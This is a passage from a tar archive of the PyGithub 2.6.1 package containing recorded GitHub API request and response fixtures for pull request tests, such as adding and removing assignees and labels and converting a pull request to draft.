v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/austinsasko/PyGithub/pulls/21"},"html":{"href":"https://github.com/austinsasko/PyGithub/pull/21"},"issue":{"href":"https://api.github.com/repos/austinsasko/PyGithub/issues/21"},"comments":{"href":"https://api.github.com/repos/austinsasko/PyGithub/issues/21/comments"},"review_comments":{"href":"https://api.github.com/repos/austinsasko/PyGithub/pulls/21/comments"},"review_comment":{"href":"https://api.github.com/repos/austinsasko/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/austinsasko/PyGithub/pulls/21/commits"},"statuses":{"href":"https://api.github.com/repos/austinsasko/PyGithub/statuses/adf76c80c6d28dc2d47b1a22622082786192c887"}},"author_association":"OWNER","active_lock_reason":null,"merged":true,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":{"login":"austinsasko","id":4807843,"node_id":"MDQ6VXNlcjQ4MDc4NDM=","avatar_url":"https://avatars1.githubusercontent.com/u/4807843?v=4","gravatar_id":"","url":"https://api.github.com/users/austinsasko","html_url":"https://github.com/austinsasko","followers_url":"https://api.github.com/users/austinsasko/followers","following_url":"https://api.github.com/users/austinsasko/following{/other_user}","gists_url":"https://api.github.com/users/austinsasko/gists{/gist_id}","starred_url":"https://api.github.com/users/austinsasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/austinsasko/subscriptions","organizations_url":"https://api.github.com/users/austinsasko/orgs","repos_url":"https://api.github.com/users/austinsasko/repos","events_url":"https://api.github.com/users/austinsasko/events{/privacy}","received_events_url":"https://api.github.com/users/austinsasko/received_events","type":"User","site_admin":false},"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":1,"deletions":1,"changed_files":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testAddAndRemoveAssignees.txt0000644000175100001660000002020414756101563026234 0ustar00runnerdockerhttps GET api.github.com None /users/jzelinskie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jzelinskie","id":343539,"node_id":"MDQ6VXNlcjM0MzUzOQ==","avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false,"name":"Jimmy Zelinskie","company":"Red Hat","blog":"https://jzelinskie.com","location":"Brooklyn, NY","email":null,"hireable":null,"bio":null,"public_repos":75,"public_gists":10,"followers":175,"following":18,"created_at":"2010-07-25T14:34:38Z","updated_at":"2019-09-16T15:33:05Z"} https POST api.github.com None /repos/PyGithub/PyGithub/issues/31/assignees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignees":["jayfk","jzelinskie"]} 201 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":31,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"stuglaser","id": 1527117,"avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","gravatar_id":"","url":"https://api.github.com/users/stuglaser"},{"login":"jayfk","id": 2930472,"avatar_url":"https://avatars.githubusercontent.com/u/2930472?v=3","gravatar_id":"","url":"https://api.github.com/users/jayfk"},{"login":"jzelinskie","id": 343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/31"} https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/31/assignees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignees":["jayfk","jzelinskie"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":31,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"stuglaser","id": 1527117,"avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","gravatar_id":"","url":"https://api.github.com/users/stuglaser"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/31"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testAddAndRemoveLabels.txt0000644000175100001660000001430614756101563025523 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"eb6420","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip"} https GET api.github.com None /repos/PyGithub/PyGithub/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '113'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b659c8dcc1212c71f826547c3cc7ae99"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"} https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/31/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/31/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https POST api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testAddAndRemoveLabelsWithStringArguments.txt0000644000175100001660000001205114756101563031427 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/31/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/31/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https POST api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testConvertToDraft.txt0000644000175100001660000004400614756101563025013 0ustar00runnerdockerhttps GET api.github.com None /repos/didot/PyGithub/pulls/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 06 Jan 2025 09:34:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"23b20103c700a7567659371a9c12fdce3822bf16609cbf8a278ce3507c6ad979"'), ('Last-Modified', 'Mon, 06 Jan 2025 09:34:25 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-05 08:39:31 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4943'), ('X-RateLimit-Reset', '1736156899'), ('X-RateLimit-Used', '57'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'AD66:4E297:2BFFBE92:2D1F40CE:677BA3A1')] {"url":"https://api.github.com/repos/didot/PyGithub/pulls/1","id":2261445415,"node_id":"PR_kwDONmaxWc6Gyusn","html_url":"https://github.com/didot/PyGithub/pull/1","diff_url":"https://github.com/didot/PyGithub/pull/1.diff","patch_url":"https://github.com/didot/PyGithub/pull/1.patch","issue_url":"https://api.github.com/repos/didot/PyGithub/issues/1","number":1,"state":"open","locked":false,"title":"From 'ready' to 'draft'","user":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"body":null,"created_at":"2025-01-06T08:04:51Z","updated_at":"2025-01-06T09:34:25Z","closed_at":null,"merged_at":null,"merge_commit_sha":"c7049b7bec767ea0188ee839b68b25b6d3f9df94","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/didot/PyGithub/pulls/1/commits","review_comments_url":"https://api.github.com/repos/didot/PyGithub/pulls/1/comments","review_comment_url":"https://api.github.com/repos/didot/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/didot/PyGithub/issues/1/comments","statuses_url":"https://api.github.com/repos/didot/PyGithub/statuses/fc649fcb08085ec609caf01d7d3404b2b7397f59","head":{"label":"didot:test","ref":"test","sha":"fc649fcb08085ec609caf01d7d3404b2b7397f59","user":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"repo":{"id":912699737,"node_id":"R_kgDONmaxWQ","name":"PyGithub","full_name":"didot/PyGithub","private":false,"owner":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/didot/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/didot/PyGithub","forks_url":"https://api.github.com/repos/didot/PyGithub/forks","keys_url":"https://api.github.com/repos/didot/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/didot/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/didot/PyGithub/teams","hooks_url":"https://api.github.com/repos/didot/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/didot/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/didot/PyGithub/events","assignees_url":"https://api.github.com/repos/didot/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/didot/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/didot/PyGithub/tags","blobs_url":"https://api.github.com/repos/didot/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/didot/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/didot/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/didot/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/didot/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/didot/PyGithub/languages","stargazers_url":"https://api.github.com/repos/didot/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/didot/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/didot/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/didot/PyGithub/subscription","commits_url":"https://api.github.com/repos/didot/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/didot/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/didot/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/didot/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/didot/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/didot/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/didot/PyGithub/merges","archive_url":"https://api.github.com/repos/didot/PyGithub/{archive_format}{/ref}","downloads_